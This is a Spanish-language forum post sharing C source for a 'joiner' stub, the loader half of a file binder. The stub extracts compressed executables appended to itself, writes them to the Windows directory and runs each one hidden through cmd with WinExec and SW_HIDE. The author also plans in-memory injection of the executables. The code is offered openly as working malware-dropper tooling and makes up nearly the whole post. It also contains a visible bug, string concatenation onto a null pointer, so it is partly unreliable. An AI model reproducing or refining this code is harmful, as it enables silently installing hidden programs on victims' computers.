Bueno modifiqué un poco el stub sin icono para dejarlo un poco más ligero, mucho mas no creo que se pueda, igual en asm pero no mucho.
Código: Seleccionar todo
#pragma optimize("gsy", on)
#include <windows.h>
typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );
typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);
DWORD dwBytes;
VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
{
HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
CloseHandle(hSFTD);
}
LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
{
_RtlDecompressBuffer miRtlDecompressBuffer;
LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);
miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");
miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);
return szRet;
}
void main()
{
_CopyMemory miCopyMemory=NULL;
miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
DWORD szSubFile;
LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
DWORD Seek=0;
LPSTR lpFile=NULL;
LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);
HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
DWORD szFile=GetFileSize(hFile,0);
LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);
DWORD StubSize=0x640;
LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetWindowsDirectory(WinPath,MAX_PATH);
DWORD NumArchivos;
miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);
Seek=4;
for(DWORD i=0;i<NumArchivos;i++)
{
//Obtenemos el peso del archivo
miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);
//Obtenemos la extensión
miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);
//Leemos el archivo
lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);
//Lo descomprimimos
DWORD szDecompressedFile;
LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);
//Generamos la ruta
LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(Path,WinPath);
lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
LPSTR fName=NULL;
for(DWORD z=0;z<i+1;z++)
{
lstrcat(fName,"A");
}
lstrcat(Path,fName);
lstrcat(Path,".");
lstrcat(Path,ext);
//Lo guardamos en WinPath
SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);
LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(Archivo,"cmd /d /c \"");
lstrcat(Archivo,WinPath);
lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
lstrcat(Archivo,fName);
lstrcat(Archivo,".");
lstrcat(Archivo,ext);
lstrcat(Archivo,"\"");
WinExec(Archivo,SW_HIDE);
Seek=Seek+11+szSubFile;
}
CloseHandle(hFile);
}
No importa la SHELL32.DLL y pesa 0.25kb menos o así :xD. Después del 17 seguiré con el joiner, haré que inyecte los exes en memoria, una sección para los datos y algo más.